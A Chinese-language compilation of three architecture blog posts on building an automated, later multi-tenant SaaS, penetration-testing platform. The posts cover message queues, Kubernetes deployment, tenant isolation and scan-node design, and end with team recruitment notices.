在 2022 年初，我写了一篇 “云化分布式自动化渗透测试平台 - 架构笔记” ，介绍了我与团队师傅在 SaaS 自动化渗透平台架构设计方面的一些想法和初步实践，距今已过去两年多的时间。在这段时间里，遇到了很多新的问题和挑战，同时也有很多新的想法。在 23 年底，经过内部讨论，并结合业务发展情况，我们对整个平台进行了一次完全的重构，这篇笔记介绍了重构背后的一些思考、新架构的设计思路，以及架构的整体情况

PS：🔥 公司正在广纳人才，详见 “0x06. 招聘” 或 复制访问下方链接在线查看职位详情和投递简历

https://app.mokahr.com/su/5wsls

原文链接 SaaS多租户自动化渗透平台-架构笔记

欢迎关注

0x02. 问题和挑战

在平台建设过程中，会不断产生新的需求，和更复杂的业务场景需要满足，但平台架构很难在短时间内进行频繁改动。因此对于大多数情况，只能进行“修修补补”的操作，经过两年多的日积月累，历史架构设计和技术选型的问题逐步暴露，无法很好地满足业务发展的需求。

关于平台架构设计和技术选型部分的问题，可总结为：

• 扫描节点无法独立部署：对于一个子任务的运行，可概括为三步 1. 从数据库查询所需参数，2. 执行具体逻辑，3. 保存结果入库。这里既有业务代码（1、3 两步，Python 编写），又包含引擎逻辑（第 2 步 GRPC 调用 Golang）。业务代码部分是一个大的后端项目，即节点的运行需要同时将后端和引擎服务运行起来，二者较为耦合，使得节点服务无法独立部署
• 扫描节点无法外置部署：因所有服务是在一个 VPC 内进行通信，节点执行任务需要访问 DB、队列等服务，但考虑到安全性、稳定性等原因，无法直接将服务暴露在公网，使得在目标存在网络访问限制（如只允许某个地区 IP 访问）、多云多地域出口 IP 等需求等场景下无法很好的支持。此外，外部环境可能是非受信环境，节点运行包含部分 Python 代码和配置，存在泄露风险
• 网络连接稳定性强依赖：起初选择了 RabbitMQ 作为消息队列，为了确保消息能成功的发送和执行，启用了双向 Ack，当 Client 与 Server 间的通信因为伸缩、维护、网络不稳定等不可避免原因出现中断时，RabbitMQ 会认为消费者异常（实际还在运行），从而将消息交由其他消费者处理，导致业务层和消息队列的状态不一致，出现一次任务多个运行实例的情况。此外，RabbitMQ 无法直接查看正在被执行的消息内容（unack 状态），无法自定义控制失败重试过程等限制，使得问题的排查、处理复杂和困难
• 后端框架不透明不灵活：此前我们选择了 Django REST Framework 作为后端业务层框架，借助成熟的生态和丰富的接口方法，实现了高效开发。但同时也存在一些问题，例如 Django ORM 提供的很多方法，内部都有一定程度的封装，会使得用户较难直观地知道背后的执行逻辑。在多人协作时，会给复杂需求代码实现 Review、问题定位排查和性能优化带来一定困难。此外，部分复杂的查询（如无 foreign key 表 join、自定义的 join 条件）在 Django ORM 下较难实现，灵活性上不足。而 Django/DRF 和 Django ORM 的强关联，使得集成和同时使用其他 DB 层框架等实现能力扩展的需求变得困难

另一方面，平台在设计之初的定位是支撑内部渗透项目和攻防演练。而随着业务和平台的发展，内部也在考虑商业化的可行性，从而给平台带了新的需求和挑战

• 控制研发成本：因现有平台与内部系统有一定耦合，以及存在前述的设计和选型问题，无法直接进行改造后作为商业版。而开发和维护两套不同的平台，在现有人力下无法支撑。因此，需要考虑如何尽可能减少重复工作，降低开发和维护成本
• 数据安全保障：平台是 SaaS 化形态，数据存储在云端，客户对数据的安全性非常敏感，因此需要从设计上考虑安全隔离的方案，特别是不同客户间的数据隔离
• 合法合规保障：如果扫描流量走平台出口，会涉及到授权和法律风险。因此扫描节点需要由客户来提供，即需要能够支持扫描节点的私有化部署

0x03. 解决思路

对于上述问题和挑战，解决思路如下

• 解耦扫描节点服务：将引擎和后端代码完全剥离，让扫描节点成为一个独立服务，即后端将子任务运行所需的所有参数发送给扫描节点，扫描节点仅负责执行，完成后将结果发送回后端服务，进行异步的处理和入库
• 打破VPC网络边界：对不适合直接暴露在公网上的服务（如消息队列）进行二次封装，使⽤如 HTTPS 等⽅式与 VPC 外部扫描节点进⾏通信，解决网络边界和安全性问题
• 替换消息队列实现：基于 Redis Stream 开发新的消息队列服务，解决网络连接稳定性强依赖问题。并实现更加灵活的消息发送、任务运行观测、失败重试控制等能力
• 替换后端开发框架：使用 Flask-RESTful + SQLAlchemy 代替 DRF 和 Django ORM，并参考 DRF View、Serialize、FIlter 的设计，对 Flask-RESTful 进行封装，使得二者在写法上类似，更易上手
• 一套代码两个环境：为了减少维护成本，这里采用只维护一套新平台代码的方案。但因内外部的功能和限制上有一些区别，这里通过角色权限和代码逻辑处理等方式来进行兼容。另外考虑到安全性，内外部是两套独立的环境，互不相通
• 多租户设计和改造：为了实现数据安全隔离，以及避免为每个客户搭建一套独立的环境导致维护成本过高，这里采用了存储层和扫描节点独立，其他服务共享的方案。即每个租户拥有独立的数据库、消息队列空间等，实现逻辑或实例级别的隔离。而对于后端 API、任务调度等服务，进行多租户的底层库封装（业务代码无感），支持根据用户或任务所属租户动态选择 DB，以及动态租户配置加载等能力
• 多种节点运行模式：对于商业版，主要以客户在自己的 ECS 实例上运行扫描节点的方式为主。在内部版，以 K8S 动态创建 Pod 的方式来实现更灵活高效的节点管理。此外，理论上只要部署环境能够运行 docker 容器，并且机器配置和网络带宽能满足需求，均可部署和运行扫描节点
• 构建安全中台服务：因需要同时支撑内外部的使用需求，为了避免重复开发和实现无感的能力升级，这里将需要的公共安全能力抽取出来，统一到 SaaS 安全中台进行维护
• 开发运营运维平台：因多租户的设计，客户环境较多，为了能够高效方便的管理客户信息、环境配置，以及问题排查和定位，需要有一个上层的独立管理平台来进行支撑

0x04. 平台架构

新平台架构示意图如下

如上图所示，平台由四大部分组成

1. SaaS 自动化渗透平台：图中蓝色部分，多租户架构设计，由业务层、存储层、基础服务、监控层等十余个服务组成，也是用户与平台交互的主要入口
2. 外部扫描节点：图中右下角黄色部分，部署在不同云、环境下的扫描节点，通过 HTTPS + 双向证书校验进行通信和身份认证
3. SaaS 安全中台：图中最上方绿色部分，通过 HTTPS 接口为内外部自动化渗透平台提供安全原子能力支撑
4. 外部云基础设施：图中左下方橙色部分，通过云厂商 API 管理外部云资源，提供机器管理、代理服务、端口转发等功能

这里对平台中关键服务和新增模块的功能进行进一步的介绍

• 扫描节点连接器：负责与扫描节点进行通信，包括任务获取、结果回传、状态回传、任务中止检查、节点更新等，同时对消息队列、存储服务等内部服务进行封装和屏蔽
• 消息队列：基于 Redis Stream 封装的消息队列服务，包括提供与队列通信的 API Server 和负责处理消息重回队列等后台任务的 Watcher 服务
• 扫描任务调度：根据配置的策略，对扫描任务进行调度，避免出现某个租户下的任务把所有资源占满等、实现动态调整租户任务并发能力等
• 结果处理：异步处理消息队列中的扫描任务执行结果，包括成功结果入库、任务状态 cache、ack 消息、失败消息重试等
• 队列监控：定时检查队列中消息是否存在异常，如是否有堆积、消息是否长时间未完成、消费者离线消息重回队列等
• 运营运维管理：独立平台，负责客户环境管理、用户管理、角色权限配置、配置管理、扫描节点监控、消息队列监控、更新部署、规则包管理和下发等

对于扫描子任务的运行过程，如下图所示

图中包括 8 个步骤

1. 扫描任务通常包含多个步骤，每个步骤会将任务拆分成更小的单元，即子任务，发送到消息队列，进行并发执行
2. 扫描节点定时请求节点连接器，获取要执行的子任务
3. 节点连接器内部会根据节点所属的租户，查询对应的队列是否有消息，然后返回
4. 扫描节点收到任务后，根据参数执行对应的操作
5. 扫描节点执行完成后，会将执行情况回传给节点连接器，包括任务执行状态，任务结果等
6. 节点连接器收到任务回传数据后，会进行
   1. 缓解队列消息状态，用于队列监控服务检查消息状态
   2. 将结果存入消息队列，等待异步处理
7. 结果处理服务定时从消息队列中获取要处理的任务数据
8. 结果处理服务首先会统一更新业务层任务状态，然后根据不同的任务状态进行不同的操作
   1. 任务成功：结果入库、ACK 队列消息
   2. 任务失败：请求队列接口对消息进行 Delay 重试
   3. 任务中止：ACK 队列消息

0x05. 总结

本文介绍了为满足商业化需求，同时解决历史架构设计和技术选型问题的背景下，我和团队师傅在 SaaS 自动化渗透平台架构设计的又一次探索和实践，重点解决了扫描节点私有化部署、多租户服务改造、多租户数据隔离等问题。目前新平台已基本成型，并投入使用，我们计划在后续推动旧版向新平台迁移，完成内外部版本的统一

另外后续会不定期地分享关于 SaaS 自动化渗透平台建设和安全研发的一些实践经验和想法，感兴趣的朋友可以微信扫码、或搜索 “b1ngz的笔记本”，关注一波！

0x06. 招聘

🔥 目前公司正在广纳人才，包括研发、安服、产品、销售、售前等多种类型数十个岗位，复制访问下方链接可看到在招职位详情和在线简历投递

https://app.mokahr.com/su/5wsls

🔥 另外团队目前急招后端研发，工作地点北京，团队介绍和 JD 如下，感兴趣的师傅可通过以下方式咨询和投递简历，同时也欢迎技术交流

• 邮箱投递：binlin.yan@chaitin.com
• 微信投递：xiaobing1024

团队介绍：我们是长亭科技-产品研发中心-协同创新团队，团队直线汇报给公司创始人

团队职责：深入协同安服，将一线安全攻防经验，转换为自动化平台和工具，通过实战反馈，不断打磨优化，赋能公司业务，构筑公司核心竞争力。同时我们也在积极探索商业化，并取得不错的进展

团队项目：

• SaaS 自动化渗透平台：为安服渗透项目、攻防演练提供工具和平台支持，包括内部版、商业版
• 攻防知识库：支撑公司各产品线的统一知识管理、运营、共享平台，包括漏洞、指纹、POC、利用等

• SaaS 安全实训平台：集学习、训练、考试一体化综合人才培养解决方案，包括内部版、商业版

• 比赛平台：为客户提供 CTF、AWD、安全运营等多赛制的一站式竞赛解决方案和平台支撑

🔥 后端研发 JD：

注：可同时参与上述多个项目的后端开发

1. 具有扎实的计算机基础、网络基础和编程基础
2. 掌握如 Python、Golang 等任意一门开发语言和相关 Web 框架，追求良好的代码风格和质量
3. 掌握如 PostgreSQL、Redis、Elasticsearch、MongoDB 等任意一种数据库的使用
4. 熟悉 Linux 环境操作，掌握 Git、Docker 等工具的使用
5. 具备较强的逻辑思维分析能力，对解决具有挑战性问题充满激情
6. 具有良好的沟通和团队协作能力、热爱技术、责任心强

0x07. 参考

在 2020 年 12 月，我写了公众号的第一篇文章 — “自动化安全工具平台 - 架构笔记”，文章介绍了前几年我在写个人自动化安全工具平台的过程中，关于架构方面的一些尝试和总结。也因这篇文章，在 2021 年 5 月，我有幸加入了长亭，负责红队自动化渗透测试平台项目。这篇笔记是近半年多来，我和团队师父们在平台架构方面的一些思考、尝试和总结，主要内容包括：

• 如何理解云化分布式自动化渗透测试平台？
• 平台架构介绍
• 未来的一些想法和计划
• 岗位招聘
• 内容总结

原文链接 云化分布式自动化渗透测试平台 - 架构笔记

欢迎关注

0x02. 平台介绍

关于平台，这里结合文章标题中包含的关键词来进行介绍。

关键词一：渗透测试平台

渗透测试平台相比于之前个人开发使用的安全工具平台，它主要的不同点在于：

• 渗透测试平台定位于为实际的安服项目、攻防演练提供支撑，需覆盖的场景更多，而后者主要满足个人平时的安全测试和挖洞
• 用户量更多，且为一线安全人员，平台功能更加丰富和贴近实战。随之复杂度也会增加，对平台的架构设计要求更高
• 有专人对接用户需求、协调试用和收集反馈，有更加充足的研发资源，实现更快的优化迭代速度，而后者需要个人拥有“全栈”技能

关键词二：分布式

为了具备良好的扩展性，平台采用了分布式架构，利用消息队列解耦任务的发送和执行，通过增加消费者的数量，实现更高的扫描速度和并发支持。

关键词三：自动化

主要指渗透过程自动化，即如何减少渗透过程中的重复劳动，提高效率，让安全人员更专注于挖洞本身。广义上说，也包含研发、运维自动化，后续会在平台架构部分进行介绍。

关键词四：云化

即平台所有服务全部运行在云上。在上一篇架构笔记中，为了追求高可用，我曾自己搭建过 RabbitMQ 和 Postgresql 集群，机器成本相对于直接使用云厂商服务确实更低，但如服务升级、扩容、稳定性都需要自己来操作和保障，后期的运维成本更高。而全面上云后，大部分运维工作只需在页面上进行操作即可。通过借助云厂商更专业的服务，能够在提供高可用保障的同时，大幅减少运维成本。

0x03. 平台架构

目前平台架构如下图：

平台同样采用前后端分离，开发语言和框架为：

• 前端：Vue + Element UI，语言方面为了代码更易维护，采用强类型的 TypeScript。
• 后端：包含业务层和安全引擎两部分。业务侧追求开发速度，使用 Python 3.8 + Django REST framework。引擎侧关注效率使用 Golang，之间通过 gRPC 进行调用

平台使用到的服务和组件信息如下：

从列表信息看，核心组件与个人版基本相同，此外还增加了多个新服务来完善平台的各项能力，如自动化构建、错误追踪、监控告警等。

从架构图右侧，可以明显看到前一章节提到的 “云化” 特点。对于基础服务，如 Postgresql、Redis、ELK、对象存储等，都直接使用了云厂商提供的高可用集群版本，来保障平台的稳定性。

另一个改进点是，平台使用了 kubernates 来进行服务的容器化部署和管理，相比于个人版基于 docker、docker-compose 的方案，k8s 的功能更加强大。简单理解，你只需要通过 YAML 定义来声明需要的资源，如服务实例数量、机器资源、环境变量、启动命令等配置，k8s 会负责服务的启动、健康检查、故障迁移等剩余的工作。在 k8s 中，Pod 是最基础的运行单元，此外还提供了多种内置的应用类型（workload）来满足常用的业务场景，以下为平台中的一些应用例子：

• 业务服务（python）依赖引擎服务（golang），二者需要同时运行。类似 docker-compose，在 k8s 的 Pod 内可以运行两个 container，容器实例之间通过 localhost 进行相互访问
• 对于如前端和后端 API server 服务，服务的实例之间没有本质区别，使用 Deployments 来部署
• 对于如 RabbitMQ Cluster 服务，节点区分 master 和 slave，使用 StatefulSets 来运行

在平台开发的过程中，也遇到过某些复杂功能，如实现为某个任务分配独享计算资源，需要能够自行控制节点（Pod）的创建过程，但内置的应用类型（workload）无法满足需求。此时，可通过 k8s 强大的扩展能力 Custom Resources 和 Operator pattern，来定义自己的资源类型，编写 controller 来进行管理。此外，k8s 还有如使用 Persistent Volumes 实现多个服务挂载和访问同一个存储磁盘、通过 kubectl scale 命令实现资源快速伸缩等功能，能极大的提升平台部署效率和扩展能力。

下一个不同点是，个人版在后端开发时主要使用 Python 语言，利用协程 gevent、asyncio 来缓解 GIL 带来的并发性能问题。而在新平台，我们对后端功能进行了拆分，使用 Golang 来进行安全引擎的开发，而业务层仍使用 Python，这样做的考虑主要有：

• Python 为解释型语言，动态类型开发速度快、灵活，但易出错。Golang 为编译型语言，静态类型让代码更易维护
• Golang 拥有 goroutine 和 context，对并发的支持和控制更好，运行速度和效率要比 Python 更高
• 公司已有安全能力开发语言为 Golang，能进行复用和相互输出

对于异步任务框架 Dramatiq，之前在个人版中遇到了一些问题：

• 一个节点会运行多个 Dramatiq worker processes，即有多个任务同时在执行和打印日志，想要从日志文件中查看某个特定任务的日志会非常困难。此时可以通过 CurrentMessage middleware 获取到当前任务的 message_id，然后结合自定义的 logging Formatter ，在打印的日志添加 message_id 前缀，这样能方便的通过 grep 等命令找到特定任务的所有日志
• Dramatiq worker 在 gevent 启动模式下，无法通过 raise exception 来中止执行，因此依赖此的 middleware 如 TimeLimit, Abort 等都无法使用。不过这个问题在 21 年 9 月，有一位大佬提了 PR 解决了这个问题，感兴趣的可以看看 https://github.com/Flared/dramatiq-abort/issues/11

聊完开发语言 和 Dramatiq，接下来再介绍一下其他研发流程相关的改进。在个人版的容器镜像主要依靠手工构建，在新平台则基于 Gitlab CI/CD，能够在每次代码变更和合并时自动进行构建打包，并推送至容器镜像仓库。为了方便功能测试和验证，平台拥有两套配置相同的环境 stg 和 prod，功能需在测试环境上验证通过后才会部署到线上环境。

此外，在功能上线后，不可避免的会遇到 bug，那么如何知道服务出现了问题？这里需要考虑两种场景：

• 代码直接出现报错，如未正确处理异常等。此时可以通过图中的错误监控和追踪服务 Sentry，将错误调用栈等相关信息上报至平台，并发送通知给研发人员进行处理
• 服务质量，如某功能依赖第三方接口，网络错误、服务不稳定都会导致运行失败。如果每次都打印错误日志，会导致 Sentry 告警太多，无法查看。对于这类问题，有一个共性，即少量的失败是可接受的，只有超过特定比例才会被认为是问题。因此我们需要收集一些指标数据，来监控服务的状态。这部分由图中打点和统计服务 — Prometheus 来完成

关于平台架构部分，在探索过程中还遇到过其他很多问题，因篇幅关系，此次就先介绍到这里。

0x04. 想法和计划

要想设计出一个好的平台架构，需要不断的尝试和改进，以及大量的时间去打磨优化细节。经过半年多的努力，虽然平台当前架构已经基本成型，但仍然还有很多的不足和优化之处，例如：

• 数据库需增加只读实例，以缓解主库压力
• 所有服务共用一个数据库集群，部分非核心服务请求量较大，需要剥离成独立库
• 部分服务的监控缺失或阈值的不合理，需要进一步梳理和调整
• 部分业务日志没有持久化存储，缺少统一查询入口，复杂问题排查较困难
• 随着任务量和存储数据逐步增加，如何更合理的规划未来服务所需资源
• …

对于一个自动化渗透测试平台，良好的架构设计是基础，安全能力则是核心竞争力。在过去的半年多，平台的功能基本保持在每周更新上线，目前已经完成近两个大版本的开发，并投入使用。对于安全能力，在 2022 年，也将持续投入更多的精力进一步优化和提升效果。

不论是提升安全能力还是架构优化，都需要更多的人力投入。因此，下一章节是团队岗位招聘环节，感兴趣的师父可以看看

0x05. 岗位招聘

团队介绍

我们是长亭安全服务中心的协同创新团队，团队职责为将一线安全攻防经验，以平台和工具等形式赋能公司各业务，并通过安服业务的实践，快速获取反馈，不断改进和提升安全能力，构筑公司核心竞争力。

团队成员包含专业的产品经理、前后端研发、安全开发、攻防专家、运维。技术氛围好，不卷，老板重视。

目前团队负责项目包括但不限于：

• 自动化渗透测试平台：为一线安服师父打造的持续完善的自动化挖洞”神器“，为安服项目、攻防演练提供支撑
• 攻防知识库平台：集前沿漏洞信息收集、分析、检测、防御的一体化知识库平台，赋能公司全产品线
• 安全实训平台：全方位、一体化的网络安全人才培训平台，在实战中提升企业安全人员的安全素质和技术能力
• …

关于岗位

目前招聘的岗位包括：安全研发、后端研发、红队攻防

如果你偏好安全，并具备一定的研发能力，可选择 安全研发 岗位，工作地点：北京

加入我们，你可以：

• 参与扫描引擎的开发和优化，包括但不限于服务探测、爬虫、漏洞检测
• 跟进行业新爆发安全漏洞，分析原理，并编写检测 POC
• 学到一线安服和攻击队师父们的渗透思路和经验，并转换为自动化工具
• …

同时，我们希望你：

• 具有扎实的网络基础，掌握任意一门开发语言，具备一定的编程经验
• 熟悉常见安全漏洞原理和检测，了解攻防场景
• 参与过如扫描、爬虫、检测等相关安全产品的研发
• 具有良好的沟通和团队协作能力，热爱技术、责任心强

如果你偏好研发，可选择 后端研发 岗位，工作地点：北京

加入我们，你可以：

• 参与分布式、高并发扫描平台的架构设计和优化，学习全栈技术
• 负责模块功能的设计、开发和测试，为公司数百位安全人员提供工具和平台支撑
• 解决全面上云和容器化后所带来的技术挑战，保障平台服务高效稳定运行
• …

同时，我们希望你：

• 具有扎实的编程基础和网络基础
• 熟练掌握 python、golang 等任意一门开发语言，追求良好的代码风格
• 具备较强的逻辑思维分析能力和解决问题能力，对解决具有挑战性问题充满激情
• 具有良好的沟通和团队协作能力、热爱技术、责任心强

如果你偏好攻防实战，可以选择 红队攻防 岗位，工作地点：北京/上海/深圳/广州/成都

加入我们，你可以：

• 与全国顶尖攻击队师傅一起参与护网/攻防等高端攻击项目，相互学习进步
• 探索研究前沿的攻防技术，并在实战中进行实践验证
• 参与攻击队自动化平台的能力建设，探索和打造顶尖攻击团队
• …

同时，我们希望你：

• 具有丰富的实战经验，有大型目标渗透/攻防经验更佳
• 在外网打点/内网横向/域渗透/远控免杀/社工钓鱼/隐蔽持久化/代码审计等一个或多个领域有深入的理解，掌握相关的攻防技术
• 对安全有浓厚的兴趣和较强的独立钻研能力，有良好的团队精神

简历投递

• 邮箱投递：发送至 binlin.yan@chaitin.com
• 微信投递：添加微信 xiaobing1024 私聊发送

有岗位问题咨询、技术交流，也可以通过以上方式联系

0x06. 总结

在这篇笔记完成时，2021 年已经过去了，在看完远在异国我佳和朋友圈各位师父的年终总结后，觉得自己也该做一个“总结”，因此就有了这篇笔记。文中介绍了我和团队在过去半年多在架构方面的尝试和总结。同第一篇笔记，文字较多，再次感谢大家耐心看完。希望能够为大家提供一些帮助，也希望能够借此机会帮助团队招到更多优秀的小伙伴。

最后，因个人能力和水平有限，文中可能会有描述错误或理解不到位的地方，欢迎各位指出和交流。

最最后，如果各位觉得文章对你有帮助，欢迎关注、点赞收藏和转发。

0x07. 参考

• 自动化安全工具平台 - 架构笔记 https://mp.weixin.qq.com/s/OMhS9yFlcpI9KOQduSxq9g
• TypeScript https://www.typescriptlang.org/
• gRPC https://grpc.io/

• Workloads

  Kubernetes https://kubernetes.io/docs/concepts/workloads/

• Operator pattern

  Kubernetes https://kubernetes.io/docs/concepts/extend-kubernetes/operator/

• The Go Programming Language https://go.dev/
• Dramatiq Cookbook https://dramatiq.io/cookbook.html
• Gitlab CI/CD https://docs.gitlab.com/ee/ci/
• Sentry https://sentry.io/
• Prometheus https://prometheus.io/

这篇笔记是这几年我在写自动化安全工具平台过程中，在架构方面的一些想法、思考、尝试和总结，主要内容包括：

• 为什么我要写自动化安全工具平台？
• 平台 1.0 版本架构介绍、所遇到的问题
• 平台 2.0 版本架构介绍、如何解决 1.0 版本所遇到的问题
• 未来的一些想法和计划
• 内容总结

原文链接 自动化安全工具平台 - 架构笔记

欢迎关注

0x02. Why

在安全测试和挖洞的过程中，我们会用到许多的安全工具，个人在使用时，遇到了如下一些问题：

• 工具的命令行交互方式用户体验不佳，结果查看和筛选不方便
• 随着工具使用数量增多，需要记住更多的命令和参数，如何有效的打通各工具也成为一个问题
• 手工操作存在重复劳动，如对于每一个根域名，都要进行子域名收集、IP 解析、端口扫描等操作
• 结果持久化存储和管理问题，比如我想查询某个域名有哪些子域名、是什么时候发现的、解析到哪些 IP、开放了哪些端口，如果没有资产管理平台，很难实现这些功能
• 工具开发语言、风格多样化，优化和定制修改成本较高
• 运行速度，对于大量目标，单机运行的速度远远无法满足需求
• 工具间缺少公共功能和模块，如定时任务、结果通知
• …

因为以上列出和没列出的种种原因，我决定写一个自用的安全工具平台，它需要满足以下条件：

• 提供人性化的 web 管理界面，即能选择的，尽可能不输入，鼠标点击一下能完成的，尽可能不点两下
• 将常用工具封装成任务模块，通过参数配置来控制任务执行，实现底层细节屏蔽，简化操作
• 实行任务模块间的打通，即某个任务的结果可以作为其他任务的输入
• 支持资产管理、任务运行和结果查看等功能
• 分布式，可通过机器扩容来提高扫描速率
• 支持定时模块，实现任务的自动化周期运行
• …

为了能够实现预期目标，需要有一套良好的架构来支撑，来看一下平台的 1.0 架构

0x03. 1.0 版本架构

1.0 版本的架构图如下：

使用到的技术栈和组件信息：

• 前端：Vue，使用基于 Element UI 的开源管理后台模版
• 后端：Python 3.6，API 使用 Django REST framework
• 反向代理：Nginx
• 数据库：PostgreSQL
• 缓存：Redis
• Message Broker：RabbitMQ
• 分布式任务框架：Celery
• 定时任务：Celery beat
• 任务监控：Flower
• 服务部署：Docker + Docker Compose + SSH

对于写过分布式工具的师父来说，整体架构应该还是相对比较简单的。

接着来一起了解一下我是如何选择技术框架和组件的

• 首先最基础的是开发语言，它决定了后续用到的框架和组件生态。当时用的比较多的开发语言是 Java，但对于写自用的工具而言，Java 在开发效率和成本上都比较 “重” ，因为有很多优秀的开源工具是用 Python 写的，所以最终就选择了它
• 第二点是前后端框架选型。后端框架上，因为 Django 进行了很多高阶封装，相比轻量级的 Flask 而言，开发速度上会更快。前端框架上，个人认为前后端分离更易于维护，开发效率更高，因此我没有选择 Django 的 templates，也因偶然的机会看到了基于 Vue 的 Element-UI 组件库，试用后觉得这真是像我这种不擅长前端人的福音，之后通过慢慢的学习，也感受到了 Vue 的简洁和强大
• 第三点是数据库，当时之所以选择了 PostgreSQL，原因有两个，一是想接触一下没有使用过的东西。二是被官网的介绍 - The world’s most advanced open source database 所吸引。在之后的使用过程中，遇到了某些 model 字段需要使用到 JSON 类型，当时 Django 2.x 版本只有 Postgresql 支持。不过在 Django 3.1 版本，主流数据库也都支持了 JSONField，因为是 ORM，只要不是使用到了某个数据库特有的 feature，理论上是可以切换的
• 第四点是分布式组件，任务调度框架选择了历史悠久、使用广泛、功能全面的 Celery，任务停止、定时任务、任务监控、任务优先级，该有的一应俱全，不过也正因为它悠久的历史，也导致它代码量过于庞大、配置较为复杂，很多 bug 一两年都没有解决，在使用过程中也遇到了一些稳定性方面的问题，导致最终放弃了它，这部分原因后面会具体解释。还有就是 message broker，之前看过一些 RabbitMQ 的文章，稳定、使用广泛，所以就决定是它了
• 最后一点是服务部署，这几年容器化是一个趋势，因此我将平台上所有的服务都基于 docker / docker compose 搭建，容器化能够保证开发和线上环境的一致性，提升服务部署和扩容速度

了解完技术选型的过程，再来一起看看 1.0 版本在实现和使用过程中，我所遇到的一些问题

• 首先第一点是稳定性，安全工具中很多任务都是网络 IO 型，为了提高任务的执行效率，在运行 Celery worker 时是以 Gevent 协程方式启动，在运行一段时间后，会时常出现 BrokenPipeError 错误后 worker 卡死，不再消费队列任务的情况，只能通过重启解决。根据 Github issues 的记录这个问题在 17 年有人报告过，但直到我写这篇笔记时，该问题仍然没有解决，我自己也曾尝试通过阅读源码定位原因，但因为 Celery 代码量较大，最后也放弃了
• 第二点是可用性，说到这点，就得提一下 19 年 8 月我发过的一条微博，大致内容是，凌晨收到 VPS 厂商的一封邮件，提示我的一台服务器所在物理机故障，需要重启。早上起来一看，运行任务全部失败，查了下原因，发现那台半夜重启的服务器上运行着 RabbitMQ 服务。然后就在一个月后，我在尝试增加 worker 节点数量，因为没有数据库连接池，高并发导致 worker 频繁的与 db 建立连接，使机器 CPU 飙升到 100%。从这两件事情，我开始思考现在架构在可用性方面的问题，例如是否存在单点故障、是否能够支撑水平无限扩展
• 第三点是灵活性和用户体验，实现自动化离不开定时模块，但 1.0 版本的定时任务，无法支持动态创建和修改，需要重启后生效，因此灵活性上需要优化。此外，部分功能前端界面设计的不够友好，管理后台模版功能不够强大，也无法满足极致人性化的要求
• 第四点是服务部署和扩容，部分服务仍依赖手工操作。对于自动化部分，配置没有与代码分离开，配置方面也比较复杂，服务上线效率不高
• 第五点是代码维护成本，因为 1.0 版本是在边学习边实现的过程中完成的，存在着模块间代码高度耦合、重复代码多等问题，导致代码修改和新功能实现上都较困难。
• …

为了解决上述 1.0 版本所面临的问题，实现稳定、高可用、高度自动化的目标，我走上了 2.0 版本的重构和改造之路

0x04. 2.0 版本架构

2.0 版本的架构图如下

使用到的技术栈和组件信息，这里仅列出与 1.0 版本不同的地方

• 前端：使用更为强大的管理后台模板 https://github.com/PanJiaChen/vue-admin-template
• 数据库：PostgreSQL Cluster
• 数据库连接池：PgBouncer
• Message Broker：RabbitMQ Cluster
• 消息监控：RabbitMQ Management Plugin
• 分布式任务框架：Dramatiq
• 定时任务：APScheduler

相比 1.0，新版本改进和优化的地方主要有：

• RabbitMQ 由单节点变为 Cluster 模式，通过 Queue Mirroring 来保证高可用，即某个队列里的消息会在多个节点进行镜像 (mirrored)，即使某个节点异常宕机，消息也不会丢失
• 数据库 Postgresql 由单节点变为 Cluster 模式，通过读写分离，增加 slave 节点来支撑 worker 的水平扩展，保证 DB 的稳定性和可用性
• 使用 PgBouncer 作为数据库连接池，来避免频繁建立、关闭数据库连接，降低机器负载，提升稳定性
• 任务调度框架由 Celery 替换为 Dramatiq，该框架的优点是运行非常稳定、代码结构清晰，但功能上要相比 Celery 少，不过可以通过实现自定义 middleware 来进行扩展
• 基于 APScheduler 和 Dramatiq 实现定时任务功能，支持动态添加和修改定时任务
• 创建新项目，用于服务的自动化部署，提供修改配置文件的方式，来进行上线和扩容，提高部署效率
• 项目重构，将各个任务模块的代码分离，封装公共 utils 函数，提升可维护性
• …

除了以上的点外，还有一个关于多任务同时运行，资源分配和抢占的问题，想和大家聊一下

前面提到，任务会通过定时模块周期性的运行，即队列中时时刻刻都有任务在运行或等待运行。假如某天我们发现了一个新漏洞，POC 已写好，扫描任务也已创建，但此时资源都已经被其他已运行的任务占用，只能等待其他任务完成或手动停止释放资源。为了能够更好的解决这个问题，需要有机制能够让新任务具备抢占其他正在运行任务的资源的能力，那么如何实现呢？以下是我的思路和做法：

• 队列里的消息/任务需要有优先级之分，即当有空闲资源时，高优先级的任务会优先执行，RabbitMQ 的 Priority Queue 能够很好的支持这一点
• 尽量避免一个任务的执行时间过长，即将一个大任务拆分成多个小任务，如每个小任务能够在几分钟内执行完成，这样可以缩短新建高优先级任务等待资源释放的时间
• 控制并发执行任务数，假设要扫描几十万 IP 的全端口，我会把它拆分成数量更多的子任务，因为我的机器资源有限，我不会将所有子任务都一次性发送到队列中去，而是会先启动一个端口扫描的主任务，在主任务中来控制子任务的发送。这样做不仅可以实现控制子任务的并发执行数、动态调整优先级、停止任务等功能，还可以动态分配资源，让多个不同优先级的任务能同时运行

说了这么多，那么实际效果怎么样呢？以下是 2.0 架构今年的一些使用情况

• 未遇到因框架或组件问题导致的服务中断
• 最长稳定运行时间 180 天 +，也即我有半年时间没有添加新功能，每天按照配置的定时任务稳定运行的最长记录
• 顶峰集群规模：共 84 台服务器，其中 80 台 worker 机器，其余 4 台机器混部 DB、RabbitMQ、Redis 等服务，这个大概跑了两周时间

0x05. 想法和计划

虽然 2.0 版本优化和解决了 1.0 版本中的很多问题，但它仍然有很多不足和待改进的地方，例如数据库使用集群模式后，存在多个节点，目前 worker 端连接时，是随机选择其一，一旦某个节点宕机，就会导致部分请求失败，再加上数据库配置是通过 docker env-file 传入，无法实现动态摘除节点，需要重新部署。另外，随机选择也带了另一个问题，不同节点之间的负载存在不均衡的情况。因此，为了能够让平台更加稳定，实现高度自动化目标，还需要对架构进行进一步的优化。以下是目前的一些 ToDo，因为只是初步的想法，有可能不一定会实际去实现，大家可以简单参考一下：

• 基于如 ZooKeeper 或 etcd 实现统一分布式配置中心，解决数据库、RabbitMQ 等配置的动态更新问题
• 基于如 HAProxy 实现 TCP 代理，解决数据库、RabbitMQ 等服务高可用和负载均衡问题
• 继续完善和提高服务自动化部署程度，例如自动化扩容数据库 Slaver 节点、RabbitMQ 节点等
• 完善服务监控和报警功能，如接入 Sentry 等
• …

0x06. 总结

